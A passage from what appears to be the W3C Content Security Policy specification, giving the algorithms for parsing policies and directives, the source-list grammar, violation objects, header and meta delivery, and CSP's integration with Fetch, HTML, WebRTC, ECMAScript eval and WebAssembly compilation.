                        ; but it incorporates the modifications specified
                        ; in section 2.1 of this document.
  

Parse a serialized CSP

To parse a serialized CSP, given a [=byte sequence=] or [=string=] |serialized|, a [=content security policy object/source=] |source|, and a [=content security policy object/disposition=] |disposition|, execute the following steps. This algorithm returns a [=Content Security Policy object=]. If |serialized| could not be parsed, the object's [=content security policy object/directive set=] will be empty.
    1. If |serialized| is a [=byte sequence=], then set |serialized| to be the result of [=isomorphic decoding=] |serialized|. 2. Let |policy| be a new [=/policy=] with an empty [=content security policy object/directive set=], a [=content security policy object/source=] of |source|, and a [=content security policy object/disposition=] of |disposition|. 3. For each |token| returned by [=strictly split a string|strictly splitting=] |serialized| on the U+003B SEMICOLON character (`;`): 1. [=Strip leading and trailing ASCII whitespace=] from |token|. 2. If |token| is an empty string, or if |token| is not an [=ASCII string=], [=iteration/continue=]. 3. Let |directive name| be the result of [=collecting a sequence of code points=] from |token| which are not [=ASCII whitespace=]. 4. Set |directive name| to be the result of running ASCII lowercase on |directive name|. Note: Directive names are case-insensitive, that is: `script-SRC 'none'` and `ScRiPt-sRc 'none'` are equivalent. 5. If |policy|'s [=content security policy object/directive set=] contains a [=directive=] whose [=directive/name=] is |directive name|, [=iteration/continue=]. Note: In this case, the user agent SHOULD notify developers that a duplicate directive was ignored. A console warning might be appropriate, for example. 6. Let |directive value| be the result of splitting |token| on ASCII whitespace. 7. Let |directive| be a new [=directive=] whose [=directive/name=] is |directive name|, and [=directive/value=] is |directive value|. 8. [=set/append|Append=] |directive| to |policy|'s [=content security policy object/directive set=]. 4. Return |policy|.

Parse |response|'s Content Security Policies

To parse a response's Content Security Policies given a response |response|, execute the following steps. This algorithm returns a [=/CSP list=]. If the policies cannot be parsed, the returned list will have empty [=CSP list/policies=].
    1. Let |policies| be an empty [=list=]. 2. For each |token| returned by [=extracting header list values=] given `Content-Security-Policy` and |response|'s [=response/header list=]: 1. Let |policy| be the result of parsing |token|, with a [=content security policy object/source=] of "`header`", and a [=content security policy object/disposition=] of "`enforce`". 2. If |policy|'s [=content security policy object/directive set=] is not empty, append |policy| to |policies|. 3. For each |token| returned by [=extracting header list values=] given `Content-Security-Policy-Report-Only` and |response|'s [=response/header list=]: 1. Let |policy| be the result of parsing |token|, with a [=content security policy object/source=] of "`header`", and a [=content security policy object/disposition=] of "`report`". 2. If |policy|'s [=content security policy object/directive set=] is not empty, append |policy| to |policies|. 4. Return a [=/CSP list=] whose [=CSP list/policies=] is |policies| and [=CSP list/self-origin=] is |response|'s [=response/url=]'s [=url/origin=].
Note: When parsing a response's Content Security Policies, if the resulting |policies| end up containing at least one item, user agents can hold a flag on |policies| and use it to optimize away the [=/contains a header-delivered Content Security Policy=] algorithm.

Directives

Each policy contains an ordered set of directives (its directive set), each of which controls a specific behavior. The directives defined in this document are described in detail in [[#csp-directives]]. Each directive is a name / value pair. The name is a non-empty string, and the [=directive/value=] is a set of non-empty strings. The [=directive/value=] MAY be empty. A serialized directive is an ASCII string, consisting of one or more whitespace-delimited tokens, and adhering to the following ABNF [[!RFC5234]]:
    serialized-directive = directive-name [ required-ascii-whitespace directive-value ]
    directive-name       = 1*( ALPHA / DIGIT / "-" )
    directive-value      = *( required-ascii-whitespace / ( %x21-%x2B / %x2D-%x3A / %x3C-%x7E ) )
                           ; Directive values may contain whitespace and VCHAR characters,
                           ; excluding ";" and ",". The second half of the definition
                           ; above represents all VCHAR characters (%x21-%x7E)
                           ; without ";" and "," (%x3B and %x2C respectively)

    ; ALPHA, DIGIT, and VCHAR are defined in Appendix B.1 of RFC 5234.
  
Directives have a number of associated algorithms: 1. A pre-request check, which takes a request, a policy, and an origin as an argument, and is executed during [[#should-block-request]]. This algorithm returns "`Allowed`" unless otherwise specified. 2. A post-request check, which takes a request, a response, a policy and an origin as arguments, and is executed during [[#should-block-response]]. This algorithm returns "`Allowed`" unless otherwise specified. 3. An inline check, which takes an {{Element}}, a type string, a policy, and a source string as arguments, and is executed during [[#should-block-inline]] and during [[#should-block-navigation-request]] for `javascript:` requests. This algorithm returns "`Allowed`" unless otherwise specified. 4. An initialization, which takes a {{Document}} or global object and a policy as arguments. This algorithm is executed during [[#run-document-csp-initialization]] and [[#run-global-object-csp-initialization]]. Unless otherwise specified, it has no effect and it returns "`Allowed`". 5. A pre-navigation check, which takes a request, a navigation type string ("`form-submission`" or "`other`"), a policy and an origin as arguments, and is executed during [[#should-block-navigation-request]]. It returns "`Allowed`" unless otherwise specified. 6. A navigation response check, which takes a request, a navigation type string ("`form-submission`" or "`other`"), a response, a navigable, a check type string ("`source`" or "`response`"), a policy, and an origin as arguments, and is executed during [[#should-block-navigation-response]]. It returns "`Allowed`" unless otherwise specified. 8. A webrtc pre-connect check, which takes a [=/policy=], and is executed during [[#should-block-rtc-connection]]. It returns "`Allowed`" unless otherwise specified.

Source Lists

Many directives' [=directive/value=] consist of source lists: sets of strings which identify content that can be fetched and potentially embedded or executed. Each string represents one of the following types of source expression: 1. Keywords such as `'none'` and `'self'` (which match nothing and the current URL's origin, respectively) 2. Serialized URLs such as `https://example.com/path/to/file.js` (which matches a specific file) or `https://example.com/` (which matches everything on that origin) 3. Schemes such as `https:` (which matches any resource having the specified scheme) 4. Hosts such as `example.com` (which matches any resource on the host, regardless of scheme) or `*.example.com` (which matches any resource on the host's subdomains, and any of its subdomains' subdomains, and so on) 5. Nonces such as `'nonce-ch4hvvbHDpv7xCSvXCs3BrNggHdTzxUA'` (which can match specific elements on a page) 6. Digests such as `'sha256-abcd...'` (which can match specific elements on a page) A serialized source list is an ASCII string, consisting of a whitespace-delimited series of source expressions, adhering to the following ABNF grammar [[!RFC5234]]:
    serialized-source-list = ( source-expression *( required-ascii-whitespace source-expression ) ) / "'none'"
    source-expression      = scheme-source / host-source / keyword-source
                             / nonce-source / hash-source

    ; Schemes: "https:" / "custom-scheme:" / "another.custom-scheme:"
    scheme-source = scheme-part ":"

    ; Hosts: "example.com" / "*.example.com" / "https://*.example.com:12/path/to/file.js"
    host-source = [ scheme-part "://" ] host-part [ ":" port-part ] [ path-part ]
    scheme-part = scheme
                  ; scheme is defined in section 3.1 of RFC 3986.
    host-part   = "*" / [ "*." ] 1*host-char *( "." 1*host-char ) [ "." ]
    host-char   = ALPHA / DIGIT / "-"
    port-part   = 1*DIGIT / "*"
    path-part   = path-absolute (but not including ";" or ",")
                  ; path-absolute is defined in section 3.3 of RFC 3986.

    ; Keywords:
    keyword-source = "'self'" / "'unsafe-inline'" / "'unsafe-eval'"
                     / "'strict-dynamic'" / "'unsafe-hashes'"
                     / "'report-sample'" / "'unsafe-allow-redirects'"
                     / "'wasm-unsafe-eval'" / "'trusted-types-eval'"
                     / "'report-sha256'" / "'report-sha384'"
                     / "'report-sha512'" / "'unsafe-webtransport-hashes'"

    ISSUE: Bikeshed `unsafe-allow-redirects`.

    ; Nonces: 'nonce-[nonce goes here]'
    nonce-source  = "'nonce-" base64-value "'"
    base64-value  = 1*( ALPHA / DIGIT / "+" / "/" / "-" / "_" )*2( "=" )

    ; Digests: 'sha256-[digest goes here]'
    hash-source    = "'" hash-algorithm "-" base64-value "'"
    hash-algorithm = "sha256" / "sha384" / "sha512"
  
The host-char production intentionally contains only ASCII characters; internationalized domain names cannot be entered directly as part of a serialized CSP, but instead MUST be Punycode-encoded [[!RFC3492]]. For example, the domain `üüüüüü.de` MUST be represented as `xn--tdaaaaaa.de`. Note: Though IP address do match the grammar above, only `127.0.0.1` will actually match a URL when used in a source expression (see [[#match-url-to-source-list]] for details). The security properties of IP addresses are suspect, and authors ought to prefer hostnames whenever possible. Note: The base64-value grammar allows both [=base64 encoding|base64=] and [=base64url encoding|base64url=] encoding. These encodings are treated as equivalant when processing hash-source values. Nonces, however, are strict string matches: we use the base64-value grammar to limit the characters available, and reduce the complexity for the server-side operator (encodings, etc), but the user agent doesn't actually care about any underlying value, nor does it do any decoding of the nonce-source value.

Violations

A violation represents an action or resource which goes against the set of policy objects associated with a global object. Each violation has a global object, which is the global object whose policy has been violated. Each violation has a url which is its global object's {{URL}}. Each violation has a status which is a non-negative integer representing the HTTP status code of the resource for which the global object was instantiated. Each violation has a resource, which is either null, "`inline`", "`eval`", "`wasm-eval`", "`trusted-types-policy`", "`trusted-types-sink`" or a {{URL}}. It represents the resource which violated the policy. Note: The value null for a violation's resource is only allowed while the violation is being populated. By the time the violation is reported and its resource is used for [[#obtain-violation-blocked-uri|obtaining the blocked URI]], the violation's resource should be populated with a {{URL}} or one of the allowed strings. Each violation has a referrer, which is either null, or a {{URL}}. It represents the referrer of the resource whose policy was violated. Each violation has a policy, which is the policy that has been violated. Each violation has a disposition, which is the disposition of the policy that has been violated. Each violation has an effective directive which is a non-empty string representing the directive whose enforcement caused the violation. Each violation has a source file, which is either null or a {{URL}}. Each violation has a line number, which is a non-negative integer. Each violation has a column number, which is a non-negative integer. Each violation has a element, which is either null or an element. Each violation has a sample, which is a string. It is the empty string unless otherwise specified. Note: A violation's sample will be populated with the first 40 characters of an inline script, event handler, or style that caused an violation. Violations which stem from an external file will not include a sample in the violation report.

Create a violation object for |global|, |policy|, and |directive|

Given a global object |global|, a policy |policy|, and a string |directive|, the following algorithm creates a new violation object, and populates it with an initial set of data: 1. Let |violation| be a new violation whose global object is |global|, policy is |policy|, effective directive is |directive|, and resource is null. 2. If the user agent is currently executing script, and can extract a source file's URL, line number, and column number from the |global|, set |violation|'s source file, line number, and column number accordingly. ISSUE: Is this kind of thing specified anywhere? I didn't see anything that looked useful in [[ECMA262]]. Note: User agents need to ensure that the [=violation/source file=] is the URL requested by the page, pre-redirects. If that's not possible, user agents need to strip the URL down to an origin to avoid unintentional leakage. 3. If |global| is a {{Window}} object, set |violation|'s referrer to |global|'s [=associated document|document=]'s {{Document/referrer}}. 4. Set |violation|'s status to the HTTP status code for the resource associated with |violation|'s global object. ISSUE: How, exactly, do we get the status code? We don't actually store it anywhere. 5. Return |violation|.

Create a violation object for |request|, and |policy|.

Given a request |request|, a policy |policy|, the following algorithm creates a new violation object, and populates it with an initial set of data: 1. Let |directive| be the result of executing [[#effective-directive-for-a-request]] on |request|. 2. Let |violation| be the result of executing [[#create-violation-for-global]] on |request|'s client's global object, |policy|, and |directive|. 3. Set |violation|'s resource to |request|'s url. Note: We use |request|'s url, and not its current url, as the latter might contain information about redirect targets to which the page MUST NOT be given access. 4. Return |violation|.

Policy Delivery

A server MAY declare a policy for a particular resource representation via an HTTP response header field whose value is a serialized CSP. This mechanism is defined in detail in [[#csp-header]] and [[#cspro-header]], and the integration with Fetch and HTML is described in [[#fetch-integration]] and [[#html-integration]]. A policy may also be declared inline in an HTML document via a <{meta}> element's <{meta/http-equiv}> attribute, as described in [[#meta-element]].

The `Content-Security-Policy` HTTP Response Header Field

The `Content-Security-Policy` HTTP response header field is the preferred mechanism for delivering a policy from a server to a client. The header's value is represented by the following ABNF [[!RFC5234]]:
    Content-Security-Policy = 1#serialized-policy
                        ; The '#' rule is the one defined in section 5.6.1 of RFC 9110
                        ; but it incorporates the modifications specified
                        ; in section 2.1 of this document.
  
      Content-Security-Policy: script-src 'self';
                               report-to csp-reporting-endpoint
    
A server MAY send different `Content-Security-Policy` header field values with different representations of the same resource. When the user agent receives a `Content-Security-Policy` header field, it MUST parse and enforce each serialized CSP it contains as described in [[#fetch-integration]], [[#html-integration]].

The `Content-Security-Policy-Report-Only` HTTP Response Header Field

The `Content-Security-Policy-Report-Only` HTTP response header field allows web developers to experiment with policies by monitoring (but not enforcing) their effects. The header's value is represented by the following ABNF [[!RFC5234]]:
    Content-Security-Policy-Report-Only = 1#serialized-policy
                        ; The '#' rule is the one defined in section 5.6.1 of RFC 9110
                        ; but it incorporates the modifications specified
                        ; in section 2.1 of this document.
  
This header field allows developers to piece together their security policy in an iterative fashion, deploying a report-only policy based on their best estimate of how their site behaves, watching for violation reports, and then moving to an enforced policy once they've gained confidence in that behavior.
      Content-Security-Policy-Report-Only: script-src 'self';
                                           report-to csp-reporting-endpoint
    
A server MAY send different `Content-Security-Policy-Report-Only` header field values with different representations of the same resource. When the user agent receives a `Content-Security-Policy-Report-Only` header field, it MUST parse and monitor each serialized CSP it contains as described in [[#fetch-integration]] and [[#html-integration]]. Note: The `Content-Security-Policy-Report-Only` header is not supported inside a <{meta}> element.

The `` element

A {{Document}} may deliver a policy via one or more HTML <{meta}> elements whose <{meta/http-equiv}> attributes are an ASCII case-insensitive match for the string "`Content-Security-Policy`". For example:
      <meta http-equiv="Content-Security-Policy" content="script-src 'self'">
    
Implementation details can be found in HTML's Content Security Policy state `http-equiv` processing instructions [[!HTML]]. Note: The `Content-Security-Policy-Report-Only` header is not supported inside a <{meta}> element. Neither are the `report-uri`, `frame-ancestors`, and `sandbox` directives. Authors are strongly encouraged to place <{meta}> elements as early in the document as possible, because policies in <{meta}> elements are not applied to content which precedes them. In particular, note that resources fetched or prefetched using the `Link` HTTP response header field, and resources fetched or prefetched using <{link}> and <{script}> elements which precede a <{meta}>-delivered policy will not be blocked. Note: A policy specified via a <{meta}> element will be enforced along with any other policies active for the protected resource, regardless of where they're specified. The general impact of enforcing multiple policies is described in [[#multiple-policies]]. Note: Modifications to the <{meta/content}> attribute of a <{meta}> element after the element has been parsed will be ignored.

Integrations

This section is non-normative. This document defines a set of algorithms which are used in other specifications in order to implement the functionality. These integrations are outlined here for clarity, but those external documents are the normative references which ought to be consulted for detailed information.

Integration with Fetch

A number of directives control resource loading in one way or another. This specification provides algorithms which allow Fetch to make decisions about whether or not a particular request should be blocked or allowed, and about whether a particular response should be replaced with a network error. 1. [[#should-block-request]] is called as part of step 2.4 of the Main Fetch algorithm. This allows directives' pre-request checks to be executed against each request before it hits the network, and against each redirect that a request might go through on its way to reaching a resource. 2. [[#should-block-response]] is called as part of step 11 of the Main Fetch algorithm. This allows directives' post-request checks to be executed on the response delivered from the network or from a Service Worker.

Report Content Security Policy violations for |request|

Given a request |request|, this algorithm reports violations based on [=request/policy container=]'s [=policy container/CSP list=] "report only" policies. 1. Let |CSP list| be |request|'s [=request/policy container=]'s [=policy container/CSP list=]. 2. For each |policy| of |CSP list|'s [=CSP list/policies=]: 1. If |policy|'s disposition is "`enforce`", then skip to the next |policy|. 2. Let |violates| be the result of executing [[#does-request-violate-policy]] on |request|, |policy|, and |CSP list|'s [=CSP list/self-origin=]. 3. If |violates| is not "`Does Not Violate`", then execute [[#report-violation]] on the result of executing [[#create-violation-for-request]] on |request|, and |policy|.

Should |request| be blocked by Content Security Policy?

Given a request |request|, this algorithm returns `Blocked` or `Allowed` and reports violations based on |request|'s [=request/policy container=]'s [=policy container/CSP list=]. 1. Let |CSP list| be |request|'s [=request/policy container=]'s [=policy container/CSP list=]. 2. Let |result| be "`Allowed`". 3. For each |policy| of |CSP list|'s [=CSP list/policies=]: 1. If |policy|'s disposition is "`report`", then skip to the next |policy|. 2. Let |violates| be the result of executing [[#does-request-violate-policy]] on |request|, |policy|, and |CSP list|'s [=CSP list/self-origin=]. 3. If |violates| is not "`Does Not Violate`", then: 1. Execute [[#report-violation]] on the result of executing [[#create-violation-for-request]] on |request|, and |policy|. 2. Set |result| to "`Blocked`". 4. Return |result|.

Should |response| to |request| be blocked by Content Security Policy?

Given a response |response| and a request |request|, this algorithm returns `Blocked` or `Allowed`, and reports violations based on |request|'s [=request/policy container=]'s [=policy container/CSP list=]. 1. Let |CSP list| be |request|'s [=request/policy container=]'s [=policy container/CSP list=]. 2. Let |result| be "`Allowed`". 3. For each |policy| of |CSP list|'s [=CSP list/policies=]: 1. For each |directive| of |policy|: 1. If the result of executing |directive|'s post-request check on |request|, |response|, |policy|, and |CSP list|'s [=CSP list/self-origin=] is "`Blocked`", then: 1. Execute [[#report-violation]] on the result of executing [[#create-violation-for-request]] on |request|, and |policy|. 2. If |policy|'s disposition is "`enforce`", then set |result| to "`Blocked`". Note: This portion of the check verifies that the page can load the response. That is, that a Service Worker hasn't substituted a file which would violate the page's CSP. 4. Return |result|.

Potentially report hash

Given a [=response=] |response|, a [=/request=] |request|, a [=directive=] |directive| and a [=content security policy object=] |policy|, run the following steps: 1. Let |algorithm| be the empty [=string=]. 1. If |directive|'s value contains the expression "`'report-sha256'`", set |algorithm| to "sha256". 1. If |directive|'s value contains the expression "`'report-sha384'`", set |algorithm| to "sha384". 1. If |directive|'s value contains the expression "`'report-sha512'`", set |algorithm| to "sha512". 1. If |algorithm| is the empty [=string=], return. 1. Let |hash| be the empty [=string=]. 1. If |response| is [=CORS-same-origin=], then: 1. Let |h| be the result of [=applying algorithm to bytes=] on |response|'s [=response/body=] and |algorithm|. 1. Let |hash| be the [=concatenation=] of |algorithm|, U+2D (-), and |h|. 1. Let |global| be the |request|'s [=request/client=]'s [=/global object=]. 1. If |global| is not a {{Window}}, return. 1. Let |stripped document URL| to be the result of executing [[#strip-url-for-use-in-reports]] on |global|'s [=associated document|document=]'s [=Document/URL=]. 1. If |policy|'s [=directive set=] does not contain a [=directive=] named "report-to", return. 1. Let |report-to directive| be a [=directive=] named "report-to" from |policy|'s [=directive set=]. 1. Let |body| be a [=csp hash report body=] with |stripped document URL| as its [=documentURL=], |request|'s URL as its [=subresourceURL=], |hash| as its [=hash=], |request|'s [=request/destination=] as its [=csp hash report body/destination=], and "subresource" as its [=csp hash report body/type=]. 1. [=Generate and queue a report=] with the following arguments: : context :: settings object : type :: "csp-hash" : destination :: |report-to directive|'s [=directive/value=]. : data :: |body|

Integration with HTML

1. The [=/policy container=] has a [=policy container/CSP list=], which holds all the policy objects which are active for a given context. This list is empty unless otherwise specified, and is populated from the response by parsing response's Content Security Policies or inherited following the rules of the [=/policy container=]. 2. A global object's CSP list is the result of executing [[#get-csp-of-object]] with the global object as the `object`. 3. A policy is enforced or monitored for a global object by inserting it into the global object's CSP list. 4. [[#run-document-csp-initialization]] is called during the create and initialize a new `Document` object algorithm. 5. [[#should-block-inline]] is called during the prepare the script element and update a `style` block algorithms in order to determine whether or not an inline script or style block is allowed to execute/render. 6. [[#should-block-inline]] is called during handling of inline event handlers (like `onclick`) and inline `style` attributes in order to determine whether or not they ought to be allowed to execute/render. 7. policy is enforced during processing of the <{meta}> element's <{meta/http-equiv}>. 9. HTML populates each request's cryptographic nonce metadata and parser metadata with relevant data from the elements responsible for resource loading. ISSUE(whatwg/html#968): Stylesheet loading is not yet integrated with Fetch in WHATWG's HTML. 9. [[#allow-base-for-document]] is called during <{base}>'s set the frozen base URL algorithm to ensure that the <{base/href}> attribute's value is valid. 10. [[#should-block-navigation-request]] is called during the create navigation params by fetching algorithm, and [[#should-block-navigation-response]] is called during the attempt to populate the history entry's document algorithm to apply directive's navigation checks, as well as inline checks for navigations to `javascript:` URLs. 11. [[#run-global-object-csp-initialization]] is called during the run a worker algorithm. 12. The sandbox directive is used to populate the CSP-derived sandboxing flags.

Run `CSP` initialization for a `Document`

Given a {{Document}} |document|, the user agent performs the following steps in order to initialize CSP for |document|: 1. For each |policy| of |document|'s [=Document/policy container=]'s [=policy container/CSP list=]: 1. For each |directive| of |policy|: 1. Execute |directive|'s initialization algorithm on |document| and |policy|, and assert: its returned value is "`Allowed`".

Retrieve the CSP list of an |object|

To obtain |object|'s CSP list: 1. If |object| is a {{Document}} return |object|'s [=Document/policy container=]'s [=policy container/CSP list=]. 2. If |object| is a {{Window}} or a {{WorkerGlobalScope}} or a {{WorkletGlobalScope}}, return environment settings object's [=environment settings object/policy container=]'s [=policy container/CSP list=]. 3. Return null.

Should |element|'s inline |type| behavior be blocked by Content Security Policy?

Given an {{Element}} |element|, a string |type|, and a string |source| this algorithm returns "`Allowed`" if the element is allowed to have inline definition of a particular type of behavior (script execution, style application, event handlers, etc.), and "`Blocked`" otherwise: Note: The valid values for |type| are "`script`", "`script attribute`", "`style`", and "`style attribute`".
    1. Assert: |element| is not null. 2. Let |result| be "`Allowed`". 3. For each |policy| of |element|'s {{Document}}'s global object's CSP list's [=CSP list/policies=]: 1. For each |directive| of |policy|'s directive set: 1. If |directive|'s inline check returns "`Allowed`" when executed upon |element|, |type|, |policy| and |source|, skip to the next |directive|. 2. Let |directive-name| be the result of executing [[#effective-directive-for-inline-check]] on |type|. 3. Otherwise, let |violation| be the result of executing [[#create-violation-for-global]] on the current settings object's global object, |policy|, and |directive-name|. 4. Set |violation|'s resource to "`inline`". 5. Set |violation|'s element to |element|. 6. If |directive|'s value contains the expression "`'report-sample'`", then set |violation|'s sample to the substring of |source| containing its first 40 characters. 7. Execute [[#report-violation]] on |violation|. 8. If |policy|'s disposition is "`enforce`", then set |result| to "`Blocked`". 4. Return |result|.

Should |navigation request| of |type| be blocked by Content Security Policy?

Given a request |navigation request| and a string |type| (either "`form-submission`" or "`other`"), this algorithm return "`Blocked`" if the active policy blocks the navigation, and "`Allowed`" otherwise:
    1. Let |result| be "`Allowed`". 1. Let |CSP list| be |navigation request|'s policy container's CSP list's [=CSP list/policies=]. 2. For each |policy| of |CSP list|'s [=CSP list/policies=]: 1. For each |directive| of |policy|: 1. If |directive|'s pre-navigation check returns "`Allowed`" when executed upon |navigation request|, |type|, |policy|, and |CSP list|'s [=CSP list/self-origin=] skip to the next |directive|. 2. Otherwise, let |violation| be the result of executing [[#create-violation-for-global]] on |navigation request|'s client's global object, |policy|, and |directive|'s name. 3. Set |violation|'s resource to |navigation request|'s URL. 4. Execute [[#report-violation]] on |violation|. 5. If |policy|'s disposition is "`enforce`", then set |result| to "`Blocked`". 3. If |result| is "`Allowed`", and if |navigation request|'s current URL's scheme is `javascript`: 1. For each |policy| of |navigation request|'s policy container's CSP list's [=CSP list/policies=]: 1. For each |directive| of |policy|: 1. Let |directive-name| be the result of executing [[#effective-directive-for-inline-check]] on "`navigation`". 2. If |directive|'s inline check returns "`Allowed`" when executed upon null, "`navigation`", |policy|, and |navigation request|'s current URL, skip to the next |directive|. 3. Otherwise, let |violation| be the result of executing [[#create-violation-for-global]] on |navigation request|'s client's global object, |policy|, and |directive-name|. 4. Set |violation|'s resource to "`inline`". 5. Execute [[#report-violation]] on |violation|. 6. If |policy|'s disposition is "`enforce`", then set |result| to "`Blocked`". 4. Return |result|.

Should |navigation response| to |navigation request| of |type| in |target| be blocked by Content Security Policy?

Given a request |navigation request|, a response |navigation response|, a [=/CSP list=] |response CSP list|, a string |type| (either "`form-submission`" or "`other`"), and a navigable |target|, this algorithm returns "`Blocked`" if the active policy blocks the navigation, and "`Allowed`" otherwise:
    1. Let |result| be "`Allowed`". 2. For each |policy| of |response CSP list|'s [=CSP list/policies=]: Note: Some directives (like frame-ancestors) allow a |response|'s Content Security Policy to act on the navigation. 1. For each |directive| of |policy|: 1. If |directive|'s navigation response check returns "`Allowed`" when executed upon |navigation request|, |type|, |navigation response|, |target|, "`response`", |policy|, and |response CSP list|'s [=CSP list/self-origin=], skip to the next |directive|. 2. Otherwise, let |violation| be the result of executing [[#create-violation-for-global]] on null, |policy|, and |directive|'s name. Note: We use null for the global object, as no global exists: we haven't processed the navigation to create a Document yet. 3. Set |violation|'s resource to |navigation response|'s URL. 4. Execute [[#report-violation]] on |violation|. 5. If |policy|'s disposition is "`enforce`", then set |result| to "`Blocked`". 3. For each |policy| of |navigation request|'s policy container's CSP list's [=CSP list/policies=]: Note: Some directives in the |navigation request|'s context (like frame-ancestors) need the |response| before acting on the navigation. 1. For each |directive| of |policy|: 1. If |directive|'s navigation response check returns "`Allowed`" when executed upon |navigation request|, |type|, |navigation response|, |target|, "`source`", |policy|, and |response CSP list|'s [=CSP list/self-origin=], skip to the next |directive|. 2. Otherwise, let |violation| be the result of executing [[#create-violation-for-global]] on |navigation request|'s client's global object, |policy|, and |directive|'s name. 3. Set |violation|'s resource to |navigation request|'s URL. 4. Execute [[#report-violation]] on |violation|. 5. If |policy|'s disposition is "`enforce`", then set |result| to "`Blocked`". 4. Return |result|.

Run `CSP` initialization for a global object

Given a global object |global|, the user agent performs the following steps in order to initialize CSP for |global|. This algorithm returns "`Allowed`" if |global| is allowed, and "`Blocked`" otherwise:
    1. Let |result| be "`Allowed`". 2. For each |policy| of |global|'s [=global object/CSP list=]'s [=CSP list/policies=]: 1. For each |directive| of |policy|: 1. Execute |directive|'s initialization algorithm on |global| and |policy|. If its returned value is "`Blocked`", then set |result| to "`Blocked`". 3. Return |result|.

Integration with WebRTC

The [=administratively-prohibited=] algorithm calls [[#should-block-rtc-connection]] when invoked, and prohibits all candidates if it returns "`Blocked`".

Should RTC connections be blocked for |global|?

Given a [=/global object=] |global|, this algorithm returns "`Blocked`" if the active policy for |global| blocks RTC connections, and "`Allowed`" otherwise:
    1. Let |result| be "`Allowed`". 2. For each |policy| of |global|'s [=global object/CSP list=]'s [=CSP list/policies=]: 1. For each |directive| of |policy|: 1. If |directive|'s webrtc pre-connect check returns "`Allowed`" when executed upon |policy|, [=iteration/continue=]. 2. Otherwise, let |violation| be the result of executing [[#create-violation-for-global]] on |global|, |policy|, and |directive|'s name. 3. Set |violation|'s resource to null. 4. Execute [[#report-violation]] on |violation|. 5. If |policy|'s disposition is "`enforce`", then set |result| to "`Blocked`". 3. Return |result|.

Integration with ECMAScript

ECMAScript defines a {{HostEnsureCanCompileStrings()}} abstract operation which allows the host environment to block the compilation of strings into ECMAScript code. This document defines an implementation of that abstract operation which examines the relevant CSP list to determine whether such compilation ought to be blocked.

EnsureCSPDoesNotBlockStringCompilation(|realm|, |parameterStrings|, |bodyString|, |codeString|, |compilationType|, |parameterArgs|, |bodyArg|)

Given a realm |realm|, a list of strings |parameterStrings|, a string |bodyString|, a string |codeString|, an enum (|compilationType|), a list of ECMAScript language values (|parameterArgs|), and an ECMAScript language value (|bodyArg|), this algorithm returns normally if string compilation is allowed, and throws an "`EvalError`" if not: 1. If |compilationType| is "`TIMER`", then: 1. Let |sourceString| be |codeString|. 1. Else: 1. Let |compilationSink| be "Function" if |compilationType| is "`FUNCTION`", and "eval" otherwise. 1. Let |isTrusted| be `true` if |bodyArg| [=implements=] {{TrustedScript}}, and `false` otherwise. 1. If |isTrusted| is `true` then: 1. If |bodyString| is not equal to |bodyArg|'s [=TrustedScript/data=], set |isTrusted| to `false`. 1. If |isTrusted| is `true`, then: 1. Assert: |parameterArgs|' [list/size=] is equal to [parameterStrings]' [=list/size=]. 1. [=list/iterate|For each=] |index| of [=the range=] 0 to |parameterArgs]' [list/size=]: 1. Let |arg| be |parameterArgs|[|index|]. 1. If |arg| [=implements=] {{TrustedScript}}, then: 1. if |parameterStrings|[|index|] is not equal to |arg|'s [=TrustedScript/data=], set |isTrusted| to `false`. 1. Otherwise, set |isTrusted| to `false`. 1. Let |sourceToValidate| be a [=new=] {{TrustedScript}} object created in |realm| whose [=TrustedScript/data=] is set to |codeString| if |isTrusted| is `true`, and |codeString| otherwise. 1. Let |sourceString| be the result of executing the [=get trusted type compliant string=] algorithm, with {{TrustedScript}}, |realm|, |sourceToValidate|, |compilationSink|, and `'script'`. 1. If the algorithm throws an error, throw an {{EvalError}}. 1. If |sourceString| is not equal to |codeString|, throw an {{EvalError}}. 1. Let |result| be "`Allowed`". 2. Let |global| be |realm|'s [=realm/global object=]. 3. For each |policy| of |global|'s [=global object/CSP list=]'s [=CSP list/policies=]: 1. Let |source-list| be null. 2. If |policy| contains a [=directive=] whose [=directive/name=] is "`script-src`", then set |source-list| to that [=directive=]'s [=directive/value=]. Otherwise if |policy| contains a [=directive=] whose [=directive/name=] is "`default-src`", then set |source-list| to that directive's [=directive/value=]. 1. If |source-list| is not null: 1. Let |trustedTypesRequired| be the result of executing [=does sink type require trusted types?=], with |realm|, `'script'`, and `false`. 1. If |trustedTypesRequired| is `true` and |source-list| contains a [=source expression=] which is an [=ASCII case-insensitive=] match for the string "`'trusted-types-eval'`", then skip the following steps. 1. If |source-list| contains a [=source expression=] which is an [=ASCII case-insensitive=] match for the string "`'unsafe-eval'`", then skip the following steps. 1. Let |violation| be the result of executing [[#create-violation-for-global]] on |global|, |policy|, and "`script-src`". 2. Set |violation|'s [=violation/resource=] to "`eval`". 3. If |source-list| [=list/contains=] the expression "`'report-sample'`", then set |violation|'s [=violation/sample=] to the substring of |sourceString| containing its first 40 characters. 4. Execute [[#report-violation]] on |violation|. 5. If |policy|'s [=content security policy object/disposition=] is "`enforce`", then set |result| to "`Blocked`". 4. If |result| is "`Blocked`", throw an `EvalError` exception.

Integration with WebAssembly

WebAssembly defines the {{HostEnsureCanCompileWasmBytes()}} abstract operation which allows the host environment to block the compilation of WebAssembly sources into executable code. This document defines an implementation of this abstract operation which examines the relevant CSP list to determine whether such compilation ought to be blocked.

EnsureCSPDoesNotBlockWasmByteCompilation|realm|

Given a realm |realm|, this algorithm returns normally if compilation is allowed, and throws a {{WebAssembly.CompileError}} if not: 1. Let |global| be |realm|'s [=realm/global object=]. 2. Let |result| be "`Allowed`". 3. For each |policy| of |global|'s [=global object/CSP list=]'s [=CSP list/policies=]: 1. Let |source-list| be null. 2. If |policy| contains a [=directive=] whose [=directive/name=] is "`script-src`", then set |source-list| to that [=directive=]'s [=directive/value=]. Otherwise if |policy| contains a [=directive=] whose [=directive/name=] is "`default-src`", then set |source-list| to that directive's [=directive/value=]. 3. If |source-list| is non-null, and does not contain a [=source expression=] which is an [=ASCII case-insensitive=] match for the string "`'unsafe-eval'`", and does not contain a [=source expression=] which is an [=ASCII case-insensitive=] match for the string "`'wasm-unsafe-eval'`", then: 1. Let |violation| be the result of executing [[#create-violation-for-global]] on |global|, |policy|, and "`script-src`". 2. Set |violation|'s [=violation/resource=] to "`wasm-eval`". 3. Execute [[#report-violation]] on |violation|. 4. If |policy|'s [=content security policy object/disposition=] is "`enforce`", then set |result| to "`Blocked`". 4. If |result| is "`Blocked`", throw a {{WebAssembly.CompileError}} exception.

Reporting

